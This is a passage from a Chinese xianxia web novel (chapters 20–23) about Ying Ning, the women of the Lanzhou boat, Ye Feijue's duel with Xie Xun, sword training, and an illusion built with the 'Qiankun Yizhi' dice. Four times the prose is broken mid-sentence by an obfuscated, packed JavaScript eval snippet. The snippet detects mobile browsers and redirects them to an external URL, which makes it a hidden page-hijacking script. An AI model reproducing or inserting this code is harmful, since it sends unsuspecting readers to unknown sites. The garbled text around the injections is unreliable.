叶飞绝眼中只有谢寻,按着箜篌,紧盯着他,敷衍道:“启禀神女,我上岛来找谢寻商讨论剑事宜,撞见这船嫖客,就把他们杀了,免得污了神女的眼。有犯禁者皆可斩,这是不秋仙尊首肯的规矩啊。” 谢晨一挥扇子,挥开了挡在他身前的谢寻,反驳道:“我在船上向来都是吟诗作对,赏玩风月,与这里的姐妹都是朋友,怎么就成了嫖客?” 他自己身上还有花柳病的瘢痕,都不遮掩,就能信口胡说。 应宁厌恶道:“你若没嫖,怎么会沾上花柳病?” 谢晨理直气壮,道:“我也同几位知己有过友情以上的关系,你情我愿,何谈嫖、娼?按你这么说,难道兰舟上的姑娘们,就全都是那些自甘堕落、自轻自贱的女子,各个以色侍人?” 这一席话说完,阿蛮气得全身都颤抖了起来,双手搅着一丈红绫。 应宁向下走了两步,按住阿蛮的肩膀。 “谢寻,”应宁笑问,“你觉得呢?” 谢寻毫不犹豫道:“我大哥说得当然没错,以他的身份地位,想要什么样的女人得不到,还需要去嫖、娼?再说了,我深知能上兰舟的都是惊才艳艳的奇女子,琴棋书画,样样精通,这是名仙交游、赏玩的胜地,仙界繁荣的象征,以色侍人的可能也有,但可能不少都有苦衷,或可遭人胁迫,我谢氏绝不会做出那种卑劣之事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726583|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿蛮听完,脸色一阵青一阵白。 船上有几个二层的美人,与谢晨、谢寻相熟的,有的面色复杂,有的直接落了泪。 唯有应宁还笑着,给谢寻鼓了鼓掌。 “师妹,”她转向叶肃肃,问道,“你觉得呢?” 叶肃肃也毫不犹豫道:“师兄说得对,此事是叶飞绝做得不妥,没有调查清楚,就杀谢氏,也没有通禀我这个做主子的一声,分不清尊卑贵贱,行事猖狂,我会替谢氏枉死之人讨回公道。” 听到她强调那个“主子奴婢”、“尊卑贵贱”,叶飞绝扭头冷笑了一声。 “你?” 谢寻只瞥了一眼叶肃肃,又重新看向南门春,也嗤笑一声。 “霜妃子是冬社执事,还是你的半个老师,她做事,难道不是都听你的指挥?你说要给我讨回公道,我是疯了才会相信。” 好一口大锅,扣得叶肃肃竟然很是满意! “哼,”她娇嗔一声,打情骂俏般道,“信不信由你。” 谢寻才不管她怎么撒娇,直白道:“我既不信你,就要自己来讨个公道,如今兰舟无主,待赢下春秋试剑后,我拿下春社信物,就将兰舟收入我春秋二社,保兰舟再不受你冬社欺凌。” 阿蛮大喊一声:“谁他爹的要你庇佑!谢无妄,你就是个人渣!” 谢寻被她骂得又呆住了。 二层有几个姐妹拉住阿蛮,劝道:“算了算了,保命要紧,快少说几句。” “我今天就是要说,”阿蛮不管不顾,喊道,“你他爹的吃我兰舟、住我兰舟,湘夫人一把试一把尿把你从小拉扯到大,说是你半个老娘都不为过,你说她是红颜知己,我可槽你爹的烂屁、股吧!” 众人:“……” “什么仙界名门,就是名门来了,上了兰舟,她也是妓、女!”阿蛮又甩开红绫,指着谢寻和谢晨破口大骂道,“你娘就是妓、女,你娘也是妓、女,你们两个都是妓、女生、妓、女养的,还敢看不起我们兰舟,说什么自甘下贱,什么遭人胁迫,还想入住兰舟?要不是因为你们谢氏这种仙门,我们兰舟怎可能沦落至此!” 谢寻目瞪口呆,谢晨也脸色发青。 “好了好了,”应宁手上用力,按住阿蛮的肩膀,道,“我说过,我会接手兰舟,我这就跑一趟云中道,你们在这里安心等我。” 一旁的叶飞绝立刻回眸,明白了她的意思。 “你要参加春秋试剑?” 试剑的擂台,就摆在云中道。 “怎么,不信我能赢?”应宁来回转动手中的峥嵘,笑道,“那要么你先上,你杀谢寻,我去对付另一个,怎么样?” 她看向一旁已听得目瞪口呆的叶肃肃,收起了笑意。 南门春听完整场争论,默默走到应宁身边,不禁问道:“你要对叶肃肃动手?你恨你的小师妹?为什么?” 他捂着胸口,感受着心脏一阵阵的抽痛,十分不解。 他大概听懂了,应宁曾因谢寻而死,按说她该恨的人,是谢寻才对吧? 可她恨的却是叶肃肃。 如果她真杀了叶肃肃,谢寻日后又要杀她,那在世人看来,岂不是就像是谢寻爱慕叶肃肃、而她嫉妒叶肃肃吗?怪不得叶飞绝总是怀疑她爱慕谢寻! 可为什么应宁会这样呢? 南门春结合各种情况判断,还是认为,事实并非如此。 “她不是我师妹。” 应宁冷漠答道,定定看着“叶肃肃”,心中暗下决心: 小师妹…… 师姐这一次,一定会给你报仇雪恨,为神女之名正名。 21. 第 21 章 论剑台没有台子。 此前船上有男宾说起,谢寻能爬进秋社,还是要靠谢家,只因进秋社如斗蛐蛐,是要经过无数厮杀,爬上云中道才能登仙的。 云中道是一条状若垂云的剑道,上面停了大大小小数千柄飞剑。 平日里,这些飞剑都各有各的位置,悬停在空中,如有仙者想走这条剑道御剑下凡、或是御剑登仙,都必须持有叶氏的信物才行,否则无法调动任意一柄仙剑。 仙凡有别,就是从这里传开的。 要知道,叶氏信物也是上古传下来的仙器,本就独一无二,自真火尽熄后,更无人能再炼出复制品了,一共才有四个,如非重要场合,根本不会祭出。 所以,云中道其实并不是用来“赶路”的道。 但它也绝非废道,而是一条“赶举”的道。 它每年会开通两次,分别在立春和立秋,与人间春闱秋闱相似。 立秋的秋社试剑,是整个仙界的大比,以百花杀为钥匙,启动道上的数千柄无主之剑,任人驱使,若真有人能将所有仙剑收为己用、一举夺魁,那么无论出身门第,皆立为秋社之主,掌管百花杀,负责开启下一次秋试。 数百年前,谢氏家主曾赢下秋试,百花杀落入谢氏之手,但再后来,即使是谢氏家主本人,直至寿终,也再没能催动过千柄仙剑,百花杀便交给了他的后代,代代相传。 直到去年谢寻夺魁。 而立春的春秋试剑,则是由秋社的胜者,挑战春社的主人,如胜,则夺王者香,堪称仙界最强之战。 这相当于摆明了在说,春社就是比秋社要强,要你秋社先选一个最强的出来,才有资格挑战春社。 可无人反驳,只因当年,春社的主人是馨烈侯。 当初谢氏家主是何等的少年天才,一人可驭万剑,结果挑战馨烈侯后,非但不成,还从此一蹶不振,道心崩裂,再后来,馨烈侯与传芳君同归于尽,春社也再无传人。 如今,最强的是夏社和冬社,而夏社的不秋仙尊已修无情道至大乘,不问尘事,迎战秋社的就只有冬社了。 冬社如今主人,是神女叶肃肃,但最强的,是霜妃叶飞绝。 若霜妃出手,难免显得有些欺负人。 谢寻今年才十八岁,刚刚结丹,叶飞绝可就不知活了多少年了,虽容貌也年轻貌美,二十多岁就结丹了,但也比十八的谢寻差出不少,更何况她是叶肃肃的半个老师,而叶肃肃是谢寻师妹,她本来就高谢寻一个辈分。 可她就这么出手了…… “我才等不到什么试剑,”叶飞绝还同应宁道,“谢寻来,我就杀。” 她单手抱起巨大的箜篌,膂力惊人,这就一跃而起,御风而行。 半步化神,已能驾驭灵气,无需御剑。 “叶飞绝!”叶肃肃大怒,喊道,“你敢无视我的命令?” “神女大人,”叶飞绝冷笑一声,道,“得罪了。” 修仙之人,分什么“主子奴婢”、“尊卑贵贱”? 这个神女大概是看多了人间老掉牙的烂话本,就突然开始做什么封建复辟的美梦了,以为自己有个神女的名头,就敢同过去的皇帝似的,在她头上发癫了。 实力为尊,谁拳头硬,谁的话才算话,这才是修仙之道! 叶飞绝凌空一跃,整片色海瞬间冰冻三尺。 她双手拨弦,与留着鲜红长指甲的湘夫人相反,裸指惨白如雪,指甲未蓄一丝白边,弹了一曲《梅花三弄》,曲调一成,仿佛天地为之一缓,所有人反应不及,眨眼都慢了动作,只能静静听她弹完。 原来这就是半步化神的真正实力…… 应宁暗中衡量,心知自己现在就算搏命,也赢不过她。 很快,叶飞绝弹到第一声徽音,琴音泛泛。 谢寻全身结满一层冰霜,仍旧在拔剑,神色已显慌张。 叶肃肃见状,也慌忙伸手拔剑,但她实力还不如谢寻,又慢一步,自然没什么用。 叶飞绝弹到第二声徽音,谢寻已冻成一尊冰雕。 众人看在眼中,都知道第三声时,三弄已出,谢寻必当命绝当场。 结果第三声刚扫完,就被另一声琴音给撞散了! 那琴音比箜篌低沉许多,是古琴之声,带着一股热浪拂过整个云中仙府,更向九州大地飞去,瞬间将谢寻解冻,同时击向叶飞绝,将她震得倒飞出去,跌进湖心,发出“噗通”一声。 众人的时间也被解冻了,纷纷开始大口吸气。 “呼……” “是、是古琴音,定是梅梢月!” 能与蓝关抗衡的,除了兵器谱上高它一位的梅梢月,还能有谁? “不秋仙尊出手了!” 船上还有和谢寻交好的女子,仍替谢寻着想,松了口气,道:“就知道不秋仙尊不会不管自己的徒弟,谢天谢地,仙尊保佑!” 这句话,听在应宁耳中,却格外刺耳。 不秋仙尊,真的不会不管自己的徒弟吗? 谢天谢地? 自己求天天不应,唤地地不灵的时候,师尊又在哪里呢? 应宁忽然释然地笑了。 原来不是不管所有徒弟吗,只是不管自己这个徒弟罢了? 不过很快,再抬起头时,她脸上的怅然之色就已尽数消散,只剩下一个漫不经心的笑容。 “师弟,”她问道,“你还好吗?” 谢寻啐了口血,一抹唇角,道:“死不了,不劳师姐挂心,我先走了,替我给霜妃子带一句话……那件事我也是受害者,这次算她杀我一次,我跟她两清了,下次试剑再见,我绝不会再留手!” 说完,他扯上谢晨,御剑跑了。 “我呸!”阿蛮仍是破口大骂,“你个不要脸的狗杂种,还你不会留手,你被人追在屁股后面揍得鼻青脸肿,要不是有个师父给你兜底,你算个屁啊!” 叶肃肃一看,谢寻跑了,叶飞绝又不听自己的,自己留着也没什么意思,留下一句“也替我告诉叶飞绝,让她好自为之”,就御剑飞走了。 “还不滚快点,”阿蛮一碗水端平,骂完谢寻,又骂叶肃肃道,“跟你男人锁死了一起滚!” 叶飞绝从湖底爬上来,湿淋淋的,如水鬼般,坐在地上打坐调息,满面都是戾气。 “还想再追吗?” 应宁从三层一跃而下,跳到她身边。 “是不是以为他没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745390|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了难容,就能杀得了他?我劝你还是等到试剑再说吧,我师尊是必要保他的,除非你打得过我师尊。” 叶飞绝深呼吸,不耐烦道:“你想说什么?” “我有办法,必杀谢寻,”应宁取出一枚骰子,在手中抛了一下,道,“只要你肯配合我。” 叶飞绝抽空瞥了她一眼,看见骰子,一股气没有喘匀,呛咳了半天,才震惊道:“乾坤一掷怎么会在你手里?!” 是啊,应宁也没想明白。 这是谢寻上辈子入魔后的法器,专门用来幻化幻境。 修习仙道,也要修习魔道,仙魔相生相克,方有万物循环,这是应宁入师门后,不秋仙尊传授给他们的第一课,也是最后一课。 没错,这位当师尊的修的是无情道,讲究一个“道法自然”,自然之道,自然要让他们自己去自然而然地悟,教是没什么用的,所以他只会给学生留作业、收作业、判作业,然后因为他们做错作业而各种体罚,如此周而往复,从来不讲作业,总共就给他们上过这么一节课,就是如何研习魔道。 小师妹爱漂亮,第一个选定了自己要研习的魔道,就是着相道,专心研习变化外貌之术。 师弟平时为人阴暗,少言寡语,跟师尊差不多,但不同的是,他经常一开口就是污言秽语,十分狂妄,语不惊人死不休,比阿蛮还能怼人,为此没少挨骂,所以最后他叛逆一笑,选择修妄语道。 妄语道,信则灵,赌则赢。 初时只是为研习万法才学的,但谁都没想到,谢无妄的妄语道,后来真正修成了魔尊的实力,出口成真。 他秉性乖戾,手中常握着两枚骰子,逢人便赌,从无败绩,骰子一抛,就幻化出一方崭新天地,在自己的领域里指鹿为马,叫人分不清真假,只能陪他开赌,赌到最后,赢的总是他,败者则一败涂地,直到赔尽身家性命。 应宁抛出骰子,道:“你若信我,谢寻必死;你若不信……” 叶飞绝惊恐地看着她。 乾坤一掷,叶飞绝是知道的,掷后必有人头落地。 应宁面上笑得温温柔柔,手上却收起骰子,用难容在她的脖子上缠了一圈,道:“我就替上辈子兰舟惨死的姐妹们报仇雪恨。” 叶飞绝下意识吞了下口水。 她刚被不秋仙尊重伤,应宁若想补刀,确实是最好的时机。 在乾坤一掷面前,有选择吗? 叶飞绝只得点了点头,道:“我信。” 另一边,南门春恢复了自己的男身,飘落在应宁身边,以陈述的语气道:“你要参加春秋试剑。” 应宁冷眼瞥他,反问:“又不行吗?” “行,”南门春却竟然道,“只是现在的你恐怕难赢,距离试剑还有两个月时间,我虽然不能直接插手,但可以教你剑术,助你夺魁。” 应宁取出峥嵘剑,用剑柄在他胸前戳了一下。 “哦?太阳打西边出来了,你长良心了?”应宁手上故意用了点力气,问道,“为了什么,能说说看吗?” 南门春却纹丝未动,跟没被碰到似的,只用扇子轻敲绕过剑柄,将剑柄挑开,道:“为了兰舟。” 兰舟的女人们,需要她赢。 22. 第 22 章 剑为百兵之君,因馨烈侯修君子道,所以整个仙界都以修剑为荣,叶氏尤其如此,信仰仙尊的人间亦如此。 应宁自幼习剑,从能拿笔的年龄起,就在拿剑了。 抓周时,小应宁在木剑、虎符、印玺和笔中抓了笔,家人脸色都不太好看,母亲更是直接夺走了那支笔,将小木剑塞进了她手中,不顾孩子的哭声,断言道:“以后这孩子不能重文,必须重武。” 因她出生时就有批命,母皇常警告她:“我不是天生的皇帝,但你是天生的公主。” 人间皇位虽说是禅让制的,但秋闱春闱与叶氏的秋试春试相比,竞争一点不弱,秋闱是文比,春闱是武比,皇帝要十年期内的春闱状元中选择储君,应宁的母皇是因应宁的批命,才被直接选中的,而且为了证明自己、不辱使命,她连任了二十年皇帝。 此前,从未有人能连任,因为凡人不能结丹,不能永驻青春,所以没有人能在第二个十年的武比里打败年轻人,继续夺魁,但应宁的母皇做到了。 “我能做到吗?” 年幼的应宁时常这样自问,心怀忧虑。 而现在,她有了答案。 ——她必须做到。 · 应宁站在湖中心,远看去像是半步化神的修士,但仔细观察,就会发现她的鞋底被勒出一条痕迹,踩着一根透明细丝。 短短两日,她学会了如何踩着难容的细线,在空中腾挪,因为她不能御剑,峥嵘还要握在手中。 她左手持峥嵘剑,起手挥出一剑,右脚同时迈出一步,就这样一步一步,缓慢而费力地练完了一整套叶氏的随风剑法,练完继续。 “这也太慢了。” 不远处,叶飞绝站在兰舟楼顶,抱起双臂,冷眼向下看着应宁,评价道: “她的天资,可能在凡间还算出类拔萃,单在这里,别说比不过谢寻了,就连叶肃肃的一半都不到。” 南门春站在叶飞绝身旁,因眼不视物,又不敢用风灵力去试探应宁,怕被她指责“浪荡”,也不知道她练到了什么地步,只问道:“谢寻何等天赋?” 叶飞绝咬牙道:“谢寻无论是习武还是修道,都是天赋绝伦,千年内,上一个有此天赋的,还是馨烈侯。” 再恨谢寻,叶飞绝也不屑在这个问题上说谎。 谁知,南门春竟然一笑,摇头道:“馨烈侯并无习剑的天赋。” “什么?”叶飞绝大惊,回首道,“馨烈侯十八岁统领叶氏,自创随风剑法,被封为天下第一剑,又收服神器峥嵘,同时催动云中道的万柄仙剑,你说君侯无天赋?那什么才叫有天赋!” 南门春答道:“馨烈侯在十八岁前,根本没有用过剑,十八岁后,峥嵘主动归顺,持峥嵘可号令天下仙剑,与其说是馨烈侯自创了随风剑法,不如说是峥嵘这把剑创造了这套剑法。” 叶飞绝震惊无比。 “你见过馨烈侯?”她喃喃道,“那么说来,君侯只是在修道一道上天赋绝伦……” “见过,”南门春竟然又道,“馨烈侯在修道上,也不过天赋平平,同样是三十岁前就卡在了金丹期,不能寸进,后来还是自毁过道法、灵根,又另起的君子道,得化神修士传承、点化才得以化神的。” 叶飞绝的认知顿时崩塌了。 她呆愣了好久,才轻轻道:“那传芳君……?” “他确实天赋不错,”南门春点头道,“但他是妖修,天生的半神之体,会化神也不过是半神必然的生长阶段,也没能修成正果、超脱轮回,其实也不过是个修仙之路上的差等生吧。” 叶飞绝又看回应宁。 这一次,她目光不再冰冷,而是充满迷茫。 “大道三千,讲究一个‘缘’字,”南门春用扇子指了指应宁,道,“她或许无仙缘,但有人缘,而鬼道要的就是香华,至少在这条道上,她不比任何人弱。” 说完,南门春向前一步,缩地成寸,来到应宁身边。 叶飞绝思考他说的话。 人的香华……她一个半步化神的仙者,需要吗? 她再次转头,打量了一圈兰舟,整个岛上都是忙里忙外的女人,在重建自己的家园,互相分吃的、用的,阿蛮正在额外照顾几个孕妇,让她们先去盛粥。 叶飞绝想了想,扶剑飘落在人群中。 “你又想如何!”阿蛮质问她道。 “不如何,”叶飞绝倨傲道,“倒是你们,有什么需要来求本执事的吗?” “呵呵,”阿蛮嘲讽道,“求你闭上那张臭嘴,我们闻着都吃不下饭了!” “你!” “阿蛮,”是那与应宁同寝室的孕妇,拽了拽阿蛮的袖子,制止她继续呛声,目露恳求神色,转而问叶飞绝道,“霜妃子,天梯的工程,到底要修到什么时候啊?” 叶飞绝扭头看了眼云中道,只能看见道两侧旋转而上的金阶玉带,根本看不见比蚂蚁还小的凡人。 “那是秋社的工程,”她冷冷道,“我怎么知道?” 阿蛮同孕妇道:“早跟你说了,别跟冬社的废话,有个屁用?” 孕妇坚持道:“秋社的执事谢大公子说了,那都是修给人间的公主殿下用的,但我看殿下不是这样的人,既然无人用,那何必修呢?您若也对秋社有怨,能不能让他们别再修下去了?” 叶飞绝拧眉,看着那两条天梯。 “那梯子属实无用,”她答应道,“秋社如今是谢寻掌管,等我杀了谢寻,一切好说。” “哼,”阿蛮却低头一边盛粥,一边冷冷道,“如不修梯,徭役又拿来做什么?仙界常年和平,五谷丰登,如果凡人都吃得和仙者一样好、玩得和仙者一样乐,又怎能显出仙者的尊贵来呢?既然无天灾,就要起人祸。 “谢无妄走之前是怎么说的,要杀了谢晨,替兰舟报仇,如今呢?换谁都一样,谁拿到百花杀,谁就是秋社之主,谁就要继续修这条永远都看不见尽头的天梯。你杀了谢寻,你就是谢寻。 “呵……人终究是要变的。” 说完,阿蛮在锅边一磕勺子,道:“下一碗。” · 说话间,南门春走到了应宁面前,与她慢慢过了两招。 兵器一寸长、一寸强,峥嵘比避风流长许多倍,但应宁却始终攻不到南门春的要害。 “你力气这么弱,”应宁气喘吁吁,道,“没吃饭吗?” 南门春于是不再只守不攻,直接振开峥嵘,扇尖指向应宁的侧颈。 “我是怕你死了,”他头痛道,“你今天应该还没退烧。” 应宁被他止住动作,闭眼擦了把汗。 大冬天的,她只穿了一层红衣,却浑身都热得发烫,明显是新伤叠旧病,病情加重了,但今天南门春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779885|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与同寝的孕妇借了锅,给她又熬了副药,吃完药后又缓和起来,现在已经开始发汗了。 “练剑不能急于一时,”南门春撤回扇子,点了点兰舟,教导她道,“剑道与其他大道并无区别,你既然能以人身修鬼道化境,就能体会同理,悟剑,无需手中有剑,去人群中悟也是一样,入世后可能开悟更快。” 阳关摆脱魔气后,人间官府肯定会去料理后续,如此一来,公主殿下在人间言出法随,信徒自然更多,而目前,兰舟也成了她的香火。 她的鬼道,确实是在一步步寻仇中精进的。 不过她还是忍不住问道:“你刚刚破我的剑式,用的是什么剑法,或者是……身法?” 用扇子做武器的人少,谢晨也是一个,但据说他是以剑法去用扇子,扇子相当于一把短剑,而南门春就完全不一样了,根本看不出是在用剑,就是普普通通在手中转了一圈扇子,难道还有什么“扇法”吗? “道法不分高下,不必拘泥我用的是何剑法、身法,”南门春疑惑道,“你师父没有教过你,万法归一吗?” “没有,”应宁笑道,“我师父,他倒是说过,随风剑法,天下第一,我若输了,就是没有悟透,不是剑法的问题。” 南门春也是一愣,笑着摇了摇头。 “他这样评价自己师父的剑法,也未免太过偏爱了。” 南门春随后又喂了她几招,每招用的都是随风剑法,将扇子用得如短剑,很快又赢了。 “看到了吗?”南门春用扇子平着敲了敲她肩膀,道,“所有剑法,都有破绽,刚才我破你的破绽,并非是你用的剑法有问题,而是我用短兵,你用长兵,你未能变通前几式的速度,自然不敌我,而我改用你的剑法时,却每一招都改动速度,自然能赢。” 应宁看着剑,道:“……变则赢。” “正是,”南门春点头道,“剑法如果不变,用剑之人一味沉醉在自己的独角戏中,不懂尊重对手,必输。” 应宁自嘲地笑了笑,道:“我一直以为,天下第一剑谱,不是我这种人能改变的。” 以前学剑时,她勤勤恳恳,背下所有招式,却没被夸过一次,每次被校验功课时,等着她的都是惩罚。 而师弟,他第一次学习随风剑法,就把检验他功课的师父给伤到了,当时师父还骂他“顽劣”,因为他改动了其中了两个招式,但他赢了,并没有因此受罚。 应宁于是怀疑过,是不是自己也该叛逆一些、做些改动呢? 可是后来,师妹来了,她也开始学习了随风剑法,第一次校验功课时,她虽然没有伤到师父,但师父说,她用剑很有师祖遗风,所以她也没有受罚。 原来这才是师父想要看到的功课。应宁于是放弃了改变剑法的想法。 此后,师弟师妹剑法已成,开始转而研习道法,各有进境。 只有她这个大师姐,一次又一次,在梨树下重复着练着这同一套剑法。 “你今天刚开始尝试御气练剑,已经做得很好了。” 南门春看她还站在原地,死盯着峥嵘,便劝道:“还是先去吃饭吧。” “你已经做得很好了”,没想到这句自己一直以来最想听到的话,是这个“人”说的。可惜太晚了。 应宁嗤笑一声,一剑向他刺去。 南门春无奈接招,继续舍命陪君子。 23. 第 23 章 时间一眨眼就来到了除夕。 兰舟上的餐食有限,岛上仍是青黄不接的温度,不能自给自足,阿蛮要定期乘小船去岸边买卖吃的。 从前湘夫人在,大家都有一口吃的,现在被应宁断了买卖,也就断了口粮,秋社统领整个云丘,坚决不肯卖粮食给兰舟,阿蛮气得和他们打起来,还好叶飞绝赶到,帮着抢了几船的粮食回来。 年底的团圆饭上,应宁为此敬了叶飞绝一杯酒。 “多谢霜妃子仗义出手,”她诚恳道,“论迹不论心,这辈子只看这一饭之恩,你与兰舟的恩仇就暂可搁置了,大家都知道你只恨谢寻,并无针对的意思,以后便化干戈为玉帛。” 阿蛮不领情,还道:“她算是赎了点罪,不多,你杀了湘夫人的罪过又何时偿命呢?” 应宁仍旧坦然道:“我不杀她,你们现在要被霜妃杀死多少,想过吗?知道你与阿湘感情深厚,不求你谅解,只要能容我到立春就行了。” 虽然这三个女人互有猜疑,但好歹算是和平,也没人在饭菜里下毒,就这么吃完了一顿年夜饭。 叶飞绝辟谷多年,只喝了杯酒,就独自到湖心上去修炼了。 阿蛮每顿饭都是忙忙碌碌的,吃完又去操劳底下的人。 应宁则只吃了半杯酒,就困得睁不开双眼,回到了她在地下的四人女寝里。 四人寝中,南门春回复了男子身,又无需睡眠,自然不在,另外两个室友还是当初那两个,一个是在茶肆里就遇见了的孕妇,唤做三娘,一个是在小船上也劝过应宁二人不要卖身的女子,唤做六娘。 南门春还曾与她们交谈过,只道“巧了,你二人都以数为名”。 六娘却取笑道:“哪有什么巧的,我们都是穷人家的女儿,按大小个儿排的,根本没有名字,仙界的凡人堆里再常见不过。” 见应宁还住在这里,六娘觉得他们亲切,时常同应宁搭话。 “殿下,”六娘见应宁回房,倒头就睡,立刻给她递上枕头,又给她盖被,劝道,“你有伤在身,也不要勉强自己,试剑输就输了,输给谢寻也算不得丢脸,我这些天听船上的人说,那个谢寻的天资实在吓人。” 应宁只闭着眼,并不回她。 六娘又絮絮道:“而且她们说,谢寻确实是同兰舟交好的,说不得只是这次生霜妃的气,以后这事过去了,料想秋社也不会太为难大家。” 应宁没睡着,脸颊埋在被子下,只无声冷笑。 三娘坐在对面的窄床上,手中给衣服打着补丁,闻言放下衣服,摸了摸自己六七个月大的肚子,叹了口气,道:“不可能的,谢寻不会再管兰舟。” 六娘轻声道:“可二楼的姐姐们说,谢寻虽然平日里不言不语的,但从来没有瞧不起她们,以前也跟咱们兰舟同甘共苦,这次出事,他没出头,可能是有苦衷,心里应当是有打算的,不会真的不管我们。” 三娘只摇摇头,道:“我这次算是看清秋社谢氏了,他们之前一直宣扬,说天梯为殿下而修,殿下不在乎仙界凡人的死活,全是谎话。” 六娘低头,见应宁已经睡着了。 她轻轻在应宁腰间拍了拍,哄孩子般,道:“无论秋社如何,殿下绝对不会不管我们的。” 三娘摸着自己的肚子,神色忧郁,道:“只怕她有心无力。” · 除夕过后,没几日就是立春。 这么短的时间内,就算谢寻身上还有伤,可叶飞绝也带伤,应宁更是有伤有病,他们面前还有一个难以逾越的不秋仙尊,怎么赢? 应宁早就想好了办法。 她铺垫了这么久,就是为了现在,能在南门春的眼皮子底下使用乾坤一掷。 每天入睡时,应宁都握着那枚骰子,进入梦乡的同时,也进入了一方自创的幻境。 在这幻境中,时间的流速变得极为缓慢,她不断地练剑,将上辈子练了十年的随风剑法练至化境,同时练习着构造幻境、假人、假物的能力,从阳关那把阿湘锁死的红轿子,到一片黑暗的吃人沼泽,再到兰舟湘夫人一团血泊的红屋子,被冰霜覆满的纯白“色海”…… 最后几日,她已经能幻化出一整个云丘了。 繁华似锦的仙城,停泊数千柄仙剑的云中道,甚至,云中道尽头,高悬在凡人头顶的明镜台。 只是有一个诡异的小问题,应宁一直无法解决。 她踩在登仙道中的一柄仙剑上,左手持峥嵘,右手握骰子,双手与全身都缠满了难容的红线,左右打量。 上千柄仙剑,每一柄剑身上都滴着鲜血,好像刚捅死了谁。 她无论如何闭眼,在心中构建干净明亮的剑身,都无法抹去那些鲜血。 “好奇吗?” 一个熟悉的年轻女声问她。 “想知道怎么使用乾坤一掷吗?殿下,放我出来,我来教你。” 应宁漠然答道:“阿湘,你已死,就不要再操心这么多了。” 没有双脚的红衣女子趴在她背上,双手挽住她的脖子,用留着血泪的脸颊去蹭她,将她侧脸上也蹭得满是鲜血。 “这就是魔道,殿下,”阿湘以诱惑地嗓音劝说道,“你再走下去,会走火入魔的,就和阳关的那个我一样,某天突然就‘呼啦’一下……疯掉啦。” 应宁却只是笑笑,道:“放心,我心里有数。” 阿湘又飘到她正面,与她鼻尖对着鼻尖,道:“每个入魔的人,最开始都是这么说的,后来又有几个神志清醒的?清醒的人用不了乾坤一掷,你要彻底疯掉才行,如果你不想疯掉,那就让我来帮你用。” 一条红线将她轻轻推开。 “多谢美意,”应宁却只道,“但我已经想到办法了。” 她向后伸出手去,右手臂被黑暗吞没。 “应有语!” 阿湘以为她又要抽身出幻境,急迫地尖叫起来。 “你赢不了无妄的!他是百年一见的天才,无论是修剑,还是修魔,都没有敌手,就算现在还未化神,他还有不秋仙尊护法,你若现在想杀而杀不了他,来日他必杀你全家!” 应宁却只是笑。 “有仙尊护法,我是杀不了他,”她问道,“若没有了呢?” 她并非是要离开,而是右手在黑暗中一扯,将叶飞绝拽了进来!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784788|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这……” 叶飞绝被她从湖心硬生生拽进了一片幻境中,恍惚间还以为自己已经来到了试剑台上。 “这是芥子乾坤?”看到湘夫人后,她才定了神,俯身擦了下剑上的血,道,“怎么这么多血?” 湘夫人一见叶飞绝现身,显然心有忌讳,再不纠缠,立刻消失不见。 “不知道,”应宁坦言道,“我擦不干净,到时候只能劳烦你多杀几个谢家的人了。” “那没问题,”叶飞绝一口答应,只是仰头看着顶上的明镜台,问,“但是不秋仙尊,你就准备用这个东西瞒过去?可不是我打击你,而是他心弦一绝,天下无出其右,谎撒得再逼真,也骗不过乐师的耳朵。” 乾坤一掷制造幻境,用的是谢寻的妄语道,首要条件是会口出狂言,听的人信了,才能达到“信以为真”的效果。 普通人是不得不信的,但乐师,还真就能不信不听。 这也是为什么,上辈子应宁到死,都不知道师尊师弟谁赢谁输的原因。 谢寻太强了,强到三界如他掌中核桃,任他盘玩,但不秋仙尊就是能死死地克制住他的妄语,一语建一城,一曲破一城,如此反复见招拆招,没完没了。 “你自己也是音修,心甘吗?”应宁幻化出一把箜篌,抱在怀中,拨弄了一下,道,“被我师尊重伤,就不想打回去?” 叶飞绝拒绝道:“我生前跟他比了百年,也没有比过,怎么死后就能出奇迹了?” 应宁把那箜篌立在她脚下,无名指和小指握着骰子,其余三指一抹,抹出一张洁白如玉的古琴来。 